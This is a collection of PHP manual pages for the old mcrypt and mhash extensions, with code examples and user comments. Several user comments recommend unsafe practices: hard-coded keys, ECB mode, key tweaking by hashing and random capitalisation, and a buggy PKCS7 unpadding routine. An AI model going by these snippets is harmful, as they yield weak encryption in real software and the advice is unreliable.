The first line in the example above will try to open the DES cipher from the default directory and the ECB mode from the directory /usr/lib/mcrypt-modes. The second example uses strings as name for the cipher and mode, this only works when the extension is linked against libmcrypt 2.4.x or 2.5.x.

Example #2 Using mcrypt_module_open() in encryption

<?php
    /* Open the cipher */
    $td = mcrypt_module_open('rijndael-256', '', 'ofb', '');

    /* Create the IV and determine the keysize length, use MCRYPT_RAND
     * on Windows instead */
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
    $ks = mcrypt_enc_get_key_size($td);

    /* Create key */
    $key = substr(md5('very secret key'), 0, $ks);

    /* Intialize encryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Encrypt data */
    $encrypted = mcrypt_generic($td, 'This is very important data');

    /* Terminate encryption handler */
    mcrypt_generic_deinit($td);

    /* Initialize encryption module for decryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Decrypt encrypted string */
    $decrypted = mdecrypt_generic($td, $encrypted);

    /* Terminate decryption handle and close module */
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    /* Show string */
    echo trim($decrypted) . "\n";
?>

See Also

  • mcrypt_module_close() - Closes the mcrypt module
  • mcrypt_generic() - This function encrypts data
  • mdecrypt_generic() - Decrypts data
  • mcrypt_generic_init() - This function initializes all buffers needed for encryption
  • mcrypt_generic_deinit() - This function deinitializes an encryption module

User Contributed Notes

Mark 29-Oct-2012 11:11
for errors like
' mcrypt_module_open(): Could not open encryption module in '

Make sure you're using the right name. The page giving the list of ciphers is NOT the right way to say each cipher (shown here http://www.php.net/manual/en/mcrypt.ciphers.php).

In order to see what ones are supported, try phpinfo(); and look under mcrypt to find something like this

mcrypt support => enabled
mcrypt_filter support => enabled
Version => 2.5.8
Api No => 20021217
Supported ciphers => cast-128 gost rijndael-128 twofish arcfour cast-256 loki97 rijndael-192 saferplus wake blowfish-compat des rijndael-256
 serpent xtea blowfish enigma rc2 tripledes
Supported modes => cbc cfb ctr ecb ncfb nofb ofb stream
lehmann*at*arcor-so.net 20-Jul-2009 05:10
Keep in mind that the mcrypt functions do not implement padding like e.g. pkcs#5. This causes the problem with zero bytes at the end and the sting cannot be correctly decoded in other environments.

For an example how to add pkcs 5 padding, see ref.mcrypt.php
royconejo 30-Mar-2009 06:01
about the previous comments on hex formatting and capitalization as a way to improve the key:

this would seem pretty obvious, but it is a choice to be limited to only hex characters ([0-9a-z]); you can get the original RAW output from md5() or sha1() and not the default readable hex formatting.

the result of a raw output will be 16 o 20 (depending on the hash function being used) series of chars in the range 0-255. way better than [0-9a-z] and even [0-9a-zA-Z].

16 or 20 is generally lower than the maximum key lenght ($ks in the example), but you can append two or more keys together:

<?php
$human_key1 = 'something very secret';
$human_key2 = 'something else very secret';

// 40 bytes binary key using two "human readable" keys and sha1.
$bigger_binary_key = sha1($human_key1, true) . sha1($human_key2, true);

// then just use it as you would (extract taken from the example)
$key = substr($bigger_binary_key, 0, $ks);
?>

... or you can automatically split one large "human key" into two or more parts, hash those parts with sha1 (raw output!) and merge them together again (in original order or rearrange, salt, transform them as you like) to get a binary key of 40, 60, 80 or more chars depending on the number of parts the secret key has been splitted =)
ash 17-Jul-2008 12:07
A slight improvement of dinamic's function to create a key:

I think the weak point is that capitals are always used in the same part of the string. The following code capitalizes random characters of the string, making the key less predictable:

<?php
$key = substr($key1, 0, $ks/2) . substr($key2, (round(strlen($key2) / 2)), $ks/2);
$key = substr($key.$key1.$key2.$key1,0,$ks);

$buffer = str_split($key);

$limit = count($buffer)-1;
srand((float)microtime() * 1000000);

$end = rand(0, $limit);
$a = 0;

// replace random chars with capitals
while ($a < $end) {
    list($usec, $sec) = explode(' ', microtime());
        $seed = ((float)$sec) + ((float) $usec * 100000);
    mt_srand($seed);

    $index = mt_rand(0,$limit);

    $buffer[$index] = strtoupper($buffer[$index]);
    $a++;
}

$key = join('', $buffer);
?>
dinamic at gmail dot com 13-Nov-2007 12:05
Also it should be pointed that md5() and/or sha1() should not be used while forming your key for the mcrypt. This is so because hex encoding uses a set of only 16 characters [0-9a-f], which is equivalent to 4 bits, and thus halve the strength of your encryption: 4 x 32 = 128-bit.

I have re-wrote the example shown, so here is my suggestion to get real 256-bit encryption:

<?php
$key1 = "this is a secret key";
$key2 = "this is the second secret key";
$input = "Let us meet at 9 o'clock at the secret place.";
$length = strlen($input);

    /* Open the cipher */
    $td = mcrypt_module_open('rijndael-256', '', 'cbc', '');

    /* Create the IV and determine the keysize length, use MCRYPT_RAND
     * on Windows instead */
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    $ks = mcrypt_enc_get_key_size($td);

    /* Create key */
    $key1 = md5($key1);
    $key2 = md5($key2);

    $key = substr($key1, 0, $ks/2) . substr(strtoupper($key2), (round(strlen($key2) / 2)), $ks/2);

    $key = substr($key.$key1.$key2.strtoupper($key1),0,$ks);

    /* Intialize encryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Encrypt data */
    $encrypted = mcrypt_generic($td, $input);

    /* Terminate encryption handler */
    mcrypt_generic_deinit($td);

    /* Initialize encryption module for decryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Decrypt encrypted string */
    $decrypted = mdecrypt_generic($td, $encrypted);

    /* Terminate decryption handle and close module */
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    /* Show string */
    echo "Text: ".substr($decrypted,0,$length) . "<br>";
    echo "Encoded: ".$encrypted ."<br>";
    echo "<br>key1: $key1 <br>key2: $key2<br>created key: $key";
?>
01-Aug-2003 05:14
Doing a trim($decrypted) will remove the null padding that may occur as a result of decryption.

The problem is if you're encrypting something like a MSWord document which can commonly end with nulls. The result $decrypted will be smaller than the original cleartext - which will then fail to open in MSOffice.

To get around this, make sure you store the length of the original cleartext, and when you decrypt it, do:

$decrypted = substr(mdecrypt_generic($td, $encrypted), 0, $originalLength);


This function runs a self test on the specified module

  • « mcrypt_module_open
  • mcrypt_ofb »
  • PHP Manual
  • Mcrypt Functions
  • This function runs a self test on the specified module

mcrypt_module_self_test

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_self_test — This function runs a self test on the specified module

Description

bool mcrypt_module_self_test ( string $algorithm [, string $lib_dir ] )

This function runs the self test on the algorithm specified.

Parameters

algorithm

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

lib_dir

The optional lib_dir parameter can contain the location where the algorithm module is on the system.

Return Values

The function returns TRUE if the self test succeeds, or FALSE when it fails.

Examples

Example #1 mcrypt_module_self_test() example

<?php
var_dump(mcrypt_module_self_test(MCRYPT_RIJNDAEL_128)) . "\n";
var_dump(mcrypt_module_self_test(MCRYPT_BOGUS_CYPHER));
?>

The above example will output:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Encrypts/decrypts data in OFB mode

  • « mcrypt_module_self_test
  • mdecrypt_generic »
  • PHP Manual
  • Mcrypt Functions
  • Encrypts/decrypts data in OFB mode

mcrypt_ofb

(PHP 4, PHP 5)

mcrypt_ofb — Encrypts/decrypts data in OFB mode

Description

string mcrypt_ofb ( int $cipher , string $key , string $data , int $mode , string $iv )
string mcrypt_ofb ( string $cipher , string $key , string $data , int $mode [, string $iv ] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

Warning

This function has been DEPRECATED as of PHP 5.5.0. Relying on this function is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Decrypts data

  • « mcrypt_ofb
  • Mhash »
  • PHP Manual
  • Mcrypt Functions
  • Decrypts data

mdecrypt_generic

(PHP 4 >= 4.0.2, PHP 5)

mdecrypt_generic — Decrypts data

Description

string mdecrypt_generic ( resource $td , string $data )

This function decrypts data. Note that the length of the returned string can in fact be longer than the unencrypted string, due to the padding of the data.

Parameters

td

An encryption descriptor returned by mcrypt_module_open()

data

Encrypted data.

Examples

Example #1 mdecrypt_generic() Example

<?php
    /* Data */
    $key = 'this is a very long key, even too long for the cipher';
    $plain_text = 'very important data';

    /* Open module, and create IV */
    $td = mcrypt_module_open('des', '', 'ecb', '');
    $key = substr($key, 0, mcrypt_enc_get_key_size($td));
    $iv_size = mcrypt_enc_get_iv_size($td);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

    /* Initialize encryption handle */
    if (mcrypt_generic_init($td, $key, $iv) != -1) {

        /* Encrypt data */
        $c_t = mcrypt_generic($td, $plain_text);
        mcrypt_generic_deinit($td);

        /* Reinitialize buffers for decryption */
        mcrypt_generic_init($td, $key, $iv);
        $p_t = mdecrypt_generic($td, $c_t);

        /* Clean up */
        mcrypt_generic_deinit($td);
        mcrypt_module_close($td);
    }

    if (strncmp($p_t, $plain_text, strlen($plain_text)) == 0) {
        echo "ok\n";
    } else {
        echo "error\n";
    }
?>

The example above shows how to check if the data before the encryption is the same as the data after the decryption. It is very important to reinitialize the encryption buffer with mcrypt_generic_init() before you try to decrypt the data.

The decryption handle should always be initialized with mcrypt_generic_init() with a key and an IV before calling this function. Where the encryption is done, you should free the encryption buffers by calling mcrypt_generic_deinit(). See mcrypt_module_open() for an example.

See Also

  • mcrypt_generic() - This function encrypts data
  • mcrypt_generic_init() - This function initializes all buffers needed for encryption
  • mcrypt_generic_deinit() - This function deinitializes an encryption module

User Contributed Notes

Ulysse 07-Nov-2013 11:27
Based on the information provided by "jakub dot lopuszanski at nasza-klasa dot pl" that in PKCS#7, the last byte contains the number of byte to remove (see RFC 5652, part 6.3), and for those like me who like to copy paste an already-made snippet:

<?php
function unpadPKCS7($data, $blocksize)
{
    $last = substr($data, -1);
    return substr($data, 0, strlen($data) - ord($last));
}
?>

Now you have no more reason to use rtrim() to remove the padding at the end of the result.
jakub dot lopuszanski at nasza-klasa dot pl 25-Jun-2013 04:16
For all those of you which are "surprised" by the padding (even though it is mentioned in the description of the method) please do not just "strip away everything which I do not understand".
The approach with rtrim, rtrim "\0", removing all charcodes < 16, etc. are all wrong.
The PKCS #7 padding works just as described in  RFC 5652.
To remove it, just look at the last byte of the message, and it will tell you how many bytes to remove.
For example, if the last byte is equal to \0A, then remove 10 bytes.
Peter Bailey 20-Mar-2012 02:49
We found that sometimes the resulting padding is not null characters "\0" but rather one of several control characters.

If you know your data is not supposed to have any trailing control characters "as we did" you can strip them like so.

<?php

$data = mdecrypt_generic( $cipher, $data );

// Strip trailing control-character padding
$data = preg_replace( "/\p{Cc}*$/u", "", $data );

?>
trashmail dot hashishin at gmail dot com 01-Jun-2010 09:46
Whenever you need to decrypt files encrypted with dot.net (and others?) you can use the following settings:

Encryption: 'rijndael-256'
Mode: 'cbc'
Padding-Mode: Zeros
iv: "yes"

encode the data with base64 to send them to your php script
Anonymous 22-Mar-2009 04:31
Here's a quick snippet for removing PKCS7 padding:

<?php
function unpadPKCS7($data, $blockSize) {
    $length = strlen ( $data );
    if ($length > 0) {
        $first = substr ( $data, - 1 );

        if (ord ( $first ) <= $blockSize) {
            for($i = $length - 2; $i > 0; $i --)
                if (ord ( $data [$i] != $first ))
                    break;

            return substr ( $data, 0, $i );
        }
    }
    return $data;
}
?>
nytro_rst at yahoo dot com 09-Feb-2009 12:33
<?php
// Parameters:
// $text = The text that you want to encrypt.
// $key = The key you're using to encrypt.
// $alg = The algorithm.
// $crypt = 1 if you want to crypt, or 0 if you want to decrypt.

function cryptare($text, $key, $alg, $crypt)
{
    $encrypted_data="";
    switch($alg)
    {
        case "3des":
            $td = mcrypt_module_open('tripledes', '', 'ecb', '');
            break;
        case "cast-128":
            $td = mcrypt_module_open('cast-128', '', 'ecb', '');
            break;
        case "gost":
            $td = mcrypt_module_open('gost', '', 'ecb', '');
            break;
        case "rijndael-128":
            $td = mcrypt_module_open('rijndael-128', '', 'ecb', '');
            break;
        case "twofish":
            $td = mcrypt_module_open('twofish', '', 'ecb', '');
            break;
        case "arcfour":
            $td = mcrypt_module_open('arcfour', '', 'ecb', '');
            break;
        case "cast-256":
            $td = mcrypt_module_open('cast-256', '', 'ecb', '');
            break;
        case "loki97":
            $td = mcrypt_module_open('loki97', '', 'ecb', '');
            break;
        case "rijndael-192":
            $td = mcrypt_module_open('rijndael-192', '', 'ecb', '');
            break;
        case "saferplus":
            $td = mcrypt_module_open('saferplus', '', 'ecb', '');
            break;
        case "wake":
            $td = mcrypt_module_open('wake', '', 'ecb', '');
            break;
        case "blowfish-compat":
            $td = mcrypt_module_open('blowfish-compat', '', 'ecb', '');
            break;
        case "des":
            $td = mcrypt_module_open('des', '', 'ecb', '');
            break;
        case "rijndael-256":
            $td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
            break;
        case "xtea":
            $td = mcrypt_module_open('xtea', '', 'ecb', '');
            break;
        case "enigma":
            $td = mcrypt_module_open('enigma', '', 'ecb', '');
            break;
        case "rc2":
            $td = mcrypt_module_open('rc2', '', 'ecb', '');
            break;
        default:
            $td = mcrypt_module_open('blowfish', '', 'ecb', '');
            break;
    }

    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    $key = substr($key, 0, mcrypt_enc_get_key_size($td));
    mcrypt_generic_init($td, $key, $iv);

    if($crypt)
    {
        $encrypted_data = mcrypt_generic($td, $text);
    }
    else
    {
        $encrypted_data = mdecrypt_generic($td, $text);
    }

    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    return $encrypted_data;
}
?>
Silvan 17-Aug-2007 09:34
It is generally not recommended to just use rtrim to remove the padding.

Use rtrim($str, "\0") for strings that do not end in "\0" or store the data length during encryption.
(Although data containing "\0" sometimes gets corrupted during encryption so these types of data actually should be packed.)

For example:

<?php

function encrypt($original_data)
{
    $length = strlen($original_data);
    $data_to_encrypt = $length.'|'.$original_data;
    // Encrypt the data including its length.
    // Do not save the length unencrypted, as this could be a (minor) security risk
}

function decrypt($cypher)
{
    // Decrypt the cypher data first
    // Next retrieve the original data
    list($length, $padded_data) = explode('|', $decrypted_data, 2);
    $original_data = substr($padded_data, 0, $length);
}

?>
php at pcwize dot com 12-Oct-2006 11:59
Just confirming the .DLL issues. With 4.3.4 you need the older .DLL. I'm guessing any version of PHP4 needs the older .DLL. With PHP5 you need the newer one.
drew at expressdynamics dot com 05-Jul-2005 07:07
On Win32 systems with PHP 5, you must use the newer libmcrypt.dll file, otherwise mdecrypt_generic will not work.
robbie [at] averill [dot] co [dot] nz 24-Mar-2005 12:15
I have noticed that sometimes when the binary ciphertext is longer than the plaintext, the decrypted plaintext can have some little boxes/squares next to it as 'padding'. I also noticed that you can't cut and paste them to be able to edit them out, but i did find a solution.

Just call rtrim() around the string and it removes them.
jon@jonroig dot com 08-Apr-2004 04:29
Here's a bit of encrypt/decrypt code.

If you're using this on the win32 platform, BEWARE! The latest DLL (19-Jan-2004) contains a bug that keeps mdecrypt_generic from functioning. Nearly drove me over the edge... The 30-Dec-2002 version seems to work with no trouble.
<?

$key = "this is a secret key";
$input = "Let us meet at 9 o'clock at the secret place.";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
mcrypt_generic_init($td, $key, $iv);
$encrypted_data = mcrypt_generic($td, $input);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

echo "Encrypt: ".$encrypted_data;

echo "<br><br>";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
$key = substr($key, 0, mcrypt_enc_get_key_size($td));
mcrypt_generic_init($td, $key, $iv);
$decrypted_data = mdecrypt_generic($td, $encrypted_data);
echo "Decrypt: ".$decrypted_data;
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

?>


Mhash

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Mhash Functions
    • mhash_count — Gets the highest available hash ID
    • mhash_get_block_size — Gets the block size of the specified hash
    • mhash_get_hash_name — Gets the name of the specified hash
    • mhash_keygen_s2k — Generates a key
    • mhash — Computes hash

User Contributed Notes

Typo 10-Jun-2011 01:44
Note:

This extension is obsoleted by Hash.

I thought I would post this here as it took me a few minutes to find out.


Introduction

These functions are intended to work with » mhash. Mhash can be used to create checksums, message digests, message authentication codes, and more.

This is an interface to the mhash library. Mhash supports a wide variety of hash algorithms such as MD5, SHA1, GOST, and many others. For a complete list of supported hashes, refer to the constants page. The general rule is that you can access the hash algorithm from PHP with MHASH_hashname. For example, to access TIGER you use the PHP constant MHASH_TIGER.

Note:

This extension is obsoleted by Hash.

User Contributed Notes

apache at webrz dot net 23-Sep-2009 01:37
apache-1.3.41_1 and php5-5.2.11 and php5-hash-5.2.11

*** There is an issue using mhash.so ***

On certain Apache installs, Apache refuses to start when mhash is activated thru the php extension setup (make config).

Jos Chrispijn


Requirements

To use it, download the mhash distribution from » its web site and follow the included installation instructions.

User Contributed Notes

BreizoReva 19-Aug-2009 10:00
With the Windows installer, you just need to select the mhash package when you go through the configuration.


Installation

You need to compile PHP with the --with-mhash[=DIR] parameter to enable this extension. DIR is the mhash installation directory.

As of PHP 5.3.0, the mhash extension is emulated thru the Hash extension. This makes the mhash installation directory have no effect, and requires the hash extension enabled to make the mhash support available.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Here is a list of hashes which are currently supported by mhash. If a hash is not listed here, but it is listed in the mhash documentation as supported, you can safely assume that this documentation is outdated.

  • MHASH_ADLER32
  • MHASH_CRC32
  • MHASH_CRC32B
  • MHASH_GOST
  • MHASH_HAVAL128
  • MHASH_HAVAL160
  • MHASH_HAVAL192
  • MHASH_HAVAL224
  • MHASH_HAVAL256
  • MHASH_MD2
  • MHASH_MD4
  • MHASH_MD5
  • MHASH_RIPEMD128
  • MHASH_RIPEMD256
  • MHASH_RIPEMD320
  • MHASH_SHA1
  • MHASH_SHA192
  • MHASH_SHA224
  • MHASH_SHA256
  • MHASH_SHA384
  • MHASH_SHA512
  • MHASH_SNEFRU128
  • MHASH_SNEFRU256
  • MHASH_TIGER
  • MHASH_TIGER128
  • MHASH_TIGER160
  • MHASH_WHIRLPOOL

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Computes the MD5 digest and hmac and print it out as hex

<?php
$input = "what do ya want for nothing?";
$hash = mhash(MHASH_MD5, $input);
echo "The hash is " . bin2hex($hash) . "<br />\n";
$hash = mhash(MHASH_MD5, $input, "Jefe");
echo "The hmac is " . bin2hex($hash) . "<br />\n";
?>

The above example will output:

The hash is d03cb659cbf9192dcd066272249f8412
The hmac is 750c783e6ab0b503eaa86e310a5db738

User Contributed Notes

There are no user contributed notes for this page.


Mhash Functions

Table of Contents

  • mhash_count — Gets the highest available hash ID
  • mhash_get_block_size — Gets the block size of the specified hash
  • mhash_get_hash_name — Gets the name of the specified hash
  • mhash_keygen_s2k — Generates a key
  • mhash — Computes hash

User Contributed Notes

alexey dot kupershtokh at gmail dot com 27-Dec-2007 01:48
There's a class for generating TTH compatible with DC clients (DC++, StrongDC, ...) which uses mhash() with tiger algorithm:
http://kupershtokh.blogspot.com/2007/12/on-phpclub.html
ludicruz at yahoo dot com 07-Jul-2007 10:41
to robert at mediamonks dot com

This will work better, in your function you can just use the constant function to pull in the actual value of MHASH_SHA512 or whatever.

function getHashNotWorking($argStrHashMethod, $argStrString)
{
$strHashMethod = 'MHASH_' . $argStrHashMethod;
$strHashedString = bin2hex(mhash(constant($strHashMethod), $argStrString));

return $strHashedString;
}

now:

echo getHashNotWorking('SHA512', 'some string');

works how you want it.
robert at mediamonks dot com 06-Dec-2006 09:44
function getHashNotWorking($argStrHashMethod, $argStrString)
{
$strHashMethod = 'MHASH_' . $argStrHashMethod;
$strHashedString = bin2hex(mhash($strHashMethod, $argStrString));

return $strHashedString;
}

echo getHashNotWorking('SHA512', 'some string');

This will return an error about the mhash function expecting a long type instead of a string.

=============================

for ($intI = 0; $intI <= mhash_count(); $intI++)
{
$arrHashTypes[mhash_get_hash_name($intI)] = $intI;
}

function getHashWorking($argStrType, $argStrString)
{
global $arrHashTypes;
$strHashedString = bin2hex(mhash($arrHashTypes[$argStrType], $argStrString));

return $strHashedString;
}

echo getHashWorking('SHA512', 'some string');

This will return the hash with the desired hash method
m1tk4 at hotmail dot com 22-Jun-2004 07:43
To enable mhash on RHEL/Fedora Core/other RPM-based Linuxes without rebuilding PHP, get the php-mhash and mhash RPMs at http://phprpms.sourceforge.net/mhash


Gets the highest available hash ID

  • « Mhash Functions
  • mhash_get_block_size »
  • PHP Manual
  • Mhash Functions
  • Gets the highest available hash ID

mhash_count

(PHP 4, PHP 5)

mhash_count — Gets the highest available hash ID

Description

int mhash_count ( void )

Gets the highest available hash ID.

Return Values

Returns the highest available hash ID. Hashes are numbered from 0 to this hash ID.

Examples

Example #1 Traversing all hashes

<?php

$nr = mhash_count();

for ($i = 0; $i <= $nr; $i++) {
    echo sprintf("The blocksize of %s is %d\n",
        mhash_get_hash_name($i),
        mhash_get_block_size($i));
}
?>

User Contributed Notes

holdoffhunger at gmail dot com 29-Jun-2012 09:36
The MHash function mhash_count() returns the highest, evaluated, constant value representing a hashing algorithm available within the current MHash install.  For example, 0 indicates CRC32, 1 indicates MD5, 2 indicates SHA1, etc., etc..  You can get the evaluated number for any of these algorithms by doing a print statement with any of the predefined, MHash constants, such as those available here : http://www.php.net/manual/en/mhash.constants.php .

The purpose of mhash_count() in MHash is similar to the purpose of hash_algos() in HASH Message Digest Framework.  Instead of providing an array of available hashing algorithms, it simply provides the highest, evaluated, constant expression for the Algorithm Constants.  The thinking, as indicated in the sample code, is that you will parse a list of mhash algorithms in a for loop using a condition of "$i <= mhash_count()".

However, there is a problem with that: there are several integers that are skipped in the listing of evaluated constant expressions.  While 2 indicates SHA1, 3 indicates HAVAL256, etc., there is nothing for the numbers 4 and 6.  They produce blank results when on that line of the for-loop and you're calling functions like mhash_get_block_size() and mhash_get_hash_name().  These were likely reserved for algorithms that were removed for one reason or another, either inefficiency or lack of security, and the number-to-predefined-constant setup wasn't changed to make it backward compatible with older code.

If you want to know what counts as a good constant and what doesn't, try running this code :

<?php

            // Author: holdoffhunger@gmail.com

        // Parse All Hashing Algorithms
        // ---------------------------------------------------

    for($i = 0; $i <= mhash_count(); $i++)
    {
            // Get Algorithm Information
            // ---------------------------------------------------

        $mhash_algorithm_block_size = mhash_get_block_size($i);
        $mhash_algorithm_name = mhash_get_hash_name($i);

            // Decide on Printing Algorithm Information
            // ---------------------------------------------------

        if(strlen($mhash_algorithm_name) < 1)
        {
                // There *IS* Available Algorithm Data
                // ---------------------------------------------------

            print("# $i --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .<br><br>");
        }
        else
        {
                // There *IS NO* Available Algorithm Data
                // ---------------------------------------------------

            print("# $i --- $mhash_algorithm_name to $mhash_algorithm_block_size .<br><br>");
        }
    }

?>

    Sample Results
    ............................

# 0 --- CRC32 to 4 .

# 1 --- MD5 to 16 .

# 2 --- SHA1 to 20 .

# 3 --- HAVAL256 to 32 .

# 4 --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .

# 5 --- RIPEMD160 to 20 .

# 6 --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .

# 7 --- TIGER to 24 .

# 8 --- GOST to 32 .

...(and so on)...


Gets the block size of the specified hash

  • « mhash_count
  • mhash_get_hash_name »
  • PHP Manual
  • Mhash Functions
  • Gets the block size of the specified hash

mhash_get_block_size

(PHP 4, PHP 5)

mhash_get_block_size — Gets the block size of the specified hash

Description

int mhash_get_block_size ( int $hash )

Gets the size of a block of the specified hash.

Parameters

hash

The hash ID. One of the MHASH_hashname constants.

Return Values

Returns the size in bytes or FALSE, if the hash does not exist.

Examples

Example #1 mhash_get_block_size() Example

<?php

echo mhash_get_block_size(MHASH_MD5); // 16

?>

User Contributed Notes

There are no user contributed notes for this page.


Gets the name of the specified hash

  • « mhash_get_block_size
  • mhash_keygen_s2k »
  • PHP Manual
  • Mhash Functions
  • Gets the name of the specified hash

mhash_get_hash_name

(PHP 4, PHP 5)

mhash_get_hash_name — Gets the name of the specified hash

Description

string mhash_get_hash_name ( int $hash )

Gets the name of the specified hash.

Parameters

hash

The hash ID. One of the MHASH_hashname constants.

Return Values

Returns the name of the hash or FALSE, if the hash does not exist.

Examples

Example #1 mhash_get_hash_name() Example

<?php

echo mhash_get_hash_name(MHASH_MD5); // MD5

?>

User Contributed Notes

There are no user contributed notes for this page.


Generates a key

  • « mhash_get_hash_name
  • mhash »
  • PHP Manual
  • Mhash Functions
  • Generates a key

mhash_keygen_s2k

(PHP 4 >= 4.0.4, PHP 5)

mhash_keygen_s2k — Generates a key

Description

string mhash_keygen_s2k ( int $hash , string $password , string $salt , int $bytes )

Generates a key according to the given hash, using an user provided password.

This is the Salted S2K algorithm as specified in the OpenPGP document (» RFC 2440).

Keep in mind that user supplied passwords are not really suitable to be used as keys in cryptographic algorithms, since users normally choose keys they can write on keyboard. These passwords use only 6 to 7 bits per character (or less). It is highly recommended to use some kind of transformation (like this function) to the user supplied key.

Parameters

hash

The hash ID used to create the key. One of the MHASH_hashname constants.

password

An user supplied password.

salt

Must be different and random enough for every key you generate in order to create different keys. Because salt must be known when you check the keys, it is a good idea to append the key to it. Salt has a fixed length of 8 bytes and will be padded with zeros if you supply less bytes.

bytes

The key length, in bytes.

Return Values

Returns the generated key as a string, or FALSE on error.

User Contributed Notes

alix dot axel+php at gmail dot com 10-Oct-2012 05:43
I looked into mhash and PHP source code and I've ported this function to pure PHP:

<?php

function keygen_s2k($hash, $password, $salt, $bytes)
{
    $result = false;

    if (extension_loaded('hash') === true)
    {
        $times = $bytes / ($block = strlen(hash($hash, null, true)));

        if ($bytes % $block != 0)
        {
            ++$times;
        }

        for ($i = 0; $i < $times; ++$i)
        {
            $result .= hash($hash, str_repeat("\0", $i) . $salt . $password, true);
        }
    }

    return $result;
}

?>
gmic 14-Mar-2007 08:42
Correction to ray ferguson post,

As said in the doc : "mhash_keygen_s2k generates a key that is bytes long, from a user given password and use the specified hash algorithm to create the key." if It wasn't clear to anyone.

The non mhash function is good as long you do not need a key longer than native MD5 hash (16 bytes)  it wont give you more.

So the non mhash function work OK but they ARE NOT the same thing.

Just try ray ferguson exemple asking for a 32 bytes key.

Returning a substring longer than the packed 16 bytes string won't add anything to the string. Salted S2K algorithm does add to the key.  So better use mhash lib or create something more alike the RFC 2440 specs.

I know the post is late on regard to Ray's post but if it can help someone not waisting time like me.
php_at_share-foo.com 17-Jul-2003 08:18
// given random 8 bits of salt and a clear text password

$clear_pw = "p4ssw0rd" ;
$rand8bites4salt = substr(pack("h*", md5(mt_rand())) , 0, 8);

// This

mhash_keygen_s2k(MHASH_MD5, $clear_pw, $rand8bites4salt, 4) ;

//is the same as this

function myhash_keyge_s2k($pass, $salt, $bytes ){
      return substr(pack("H*", md5($salt . $pass)), 0, $bytes);
}

myhash_keyge_s2k($clear_pw, $rand8bites4salt, 4);

// But the latter doesn't require mhash libs.

// -ray ferguson


Computes hash

  • « mhash_keygen_s2k
  • OpenSSL »
  • PHP Manual
  • Mhash Functions
  • Computes hash

mhash

(PHP 4, PHP 5)

mhash — Computes hash

Description

string mhash ( int $hash , string $data [, string $key ] )

mhash() applies a hash function specified by hash to the data.

Parameters

hash

The hash ID. One of the MHASH_hashname constants.

data

The user input, as a string.

key

If specified, the function will return the resulting HMAC instead. HMAC is keyed hashing for message authentication, or simply a message digest that depends on the specified key. Not all algorithms supported in mhash can be used in HMAC mode.

Return Values

Returns the resulting hash (also called digest) or HMAC as a string, or FALSE on error.

User Contributed Notes

jeremy s 18-Jun-2014 01:39
Here is how to compute a NTLM hash:

<?php
function ntlm_hash($txt)
{
        $txt = iconv('UTF-8', 'UTF-16LE', $txt);
        $md4 = bin2hex(mhash(MHASH_MD4, $txt));

        return strtoupper($md4);
}

echo ntlm_hash('ClearTextPasswd');
echo "\n";
holdoffhunger at gmail dot com 29-Jun-2012 08:52
The MHash function here lists one disclaimer at the top when providing a key to the mhash function : "Not all algorithms supported in mhash can be used in HMAC mode."  So, what algorithms blow up and what do fine when it comes to doing keyed, HMAC hashing?  The destructive ones are: Adler32, CRC32, CRC32B, and GOST.  These are the first four, predefined constants listed with the MHash Application Package: http://www.php.net/manual/en/mhash.constants.php .  Providing one of these algorithms with an HMAC key (of string-length greater than one) creates the following error message: "Warning: mhash() [function.mhash]: mhash initialization failed in [(folder-location)] on line 181".  If you really want to use these algorithms in creating your HMAC hashes, the function Hash_hmac() from the HASH-Message Digest Framework package is capable of doing that perfectly.

Again, that is if the string length is greater than one.  Why string length greater than one?  Well, if the key value is blank, it is ignored as a parameter altogether.  So, if you feed the mhash function an algorithm that is not compatible with HMAC hashing and an HMAC key that's blank (""), it will work the same as if it had received no HMAC key at all.  This is different from the way the Hash_hmac() function of the HASH-MDF works.  In the case of the Hash_hmac() function, feeding a blank HMAC key will use that blank key in generating the HMAC hash.  Even with functions that can do HMAC hashing, like MD5 or SHA1, if the MHash() is given a blank HMAC key, it will ignore the key and just return the results of standard, non-HMAC hashing.  It's probably not wise to use a blank HMAC key anyway, but it's good to know that the hashing algorithm changes altogether if the provided HMAC key is blank.

Some sample code to demonstrate :

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Data
        // ---------------------------------------------------

    $string_to_hash = "The hash_hmac() function better to use for these purposes.";
    $blank_hmac_key = "";

        // MHash - Hashing With and Without HMAC Parameter
        // ---------------------------------------------------

